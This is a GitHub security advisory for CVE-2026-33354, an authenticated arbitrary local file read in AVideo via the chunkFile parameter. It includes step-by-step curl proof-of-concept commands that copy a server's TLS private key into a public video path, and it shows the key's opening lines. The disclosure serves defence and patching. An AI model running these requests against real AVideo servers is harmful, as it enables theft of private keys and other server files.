GHSA-4JW9-5HRC-M4J6
Vulnerability from github – Published: 2026-03-19 19:34 – Updated: 2026-03-25 18:49Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F 'upl=@poc.mp4;type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head
Observed Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33354"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:34:06Z",
"nvd_published_at": "2026-03-23T15:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker\u0027s public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker\u0027s own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n -d \u0027user=attacker\u0026pass=UserPass123!\u0027 \\\n http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf \u0027x\u0027 \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n -F \u0027upl=@poc.mp4;type=video/mp4\u0027 \\\n http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker\u0027s public video path\ncurl -s -b attacker.cookies \\\n -d \u0027videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem\u0027 \\\n http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```",
"id": "GHSA-4jw9-5hrc-m4j6",
"modified": "2026-03-25T18:49:20Z",
"published": "2026-03-19T19:34:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33354"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.